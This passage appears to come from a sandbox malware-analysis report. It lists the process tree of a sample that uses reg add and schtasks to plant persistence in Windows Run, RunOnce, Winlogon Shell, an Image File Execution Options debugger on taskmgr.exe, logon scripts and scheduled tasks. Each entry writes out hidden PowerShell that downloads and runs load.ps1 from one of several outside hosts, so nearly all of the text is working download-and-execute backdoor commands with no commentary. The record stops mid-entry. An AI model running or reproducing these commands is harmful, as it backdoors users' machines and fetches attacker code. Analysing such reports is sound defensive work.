  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
  2⤵
  PID:2568
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:664
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
  2⤵
  PID:2164
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
    3⤵
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3168
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:5048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:760
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
  2⤵
  PID:4028
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:3768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:1888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck888.beer/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
  2⤵
  PID:3244
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1400
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
  2⤵
  PID:4972
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3584
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1512
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
  2⤵
  PID:4876
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:4528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
  2⤵
  PID:1280
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:5432
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:2756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://68gbcom.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
  2⤵
  PID:2544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:6172
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6104
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6180
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
  2⤵
  PID:2648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5072
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:6240
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:6292
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:5588
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luckywin.ski/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:6280
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
  2⤵
  PID:6808
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
  2⤵
  PID:6840
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
  2⤵
  PID:6888
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
  2⤵
  PID:6948
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:6376
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
  2⤵
  PID:7012
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3724
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
  2⤵
  PID:7056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:6408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
  2⤵
  PID:7072
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:3580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc onlogon /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6440
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
  2⤵
  PID:6220
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:6456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://anxietyinchildren.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6732
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
  2⤵
  PID:6272
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:6392
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:1740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc onlogon /f
    3⤵
    PID:6424
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:4760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88aa.games/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    PID:6772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
  2⤵
  PID:4648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:1032
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6908
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:892
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://congaden.cc/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://afribus.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:7008
- - C:\Windows\SysWOW64\reg.exe
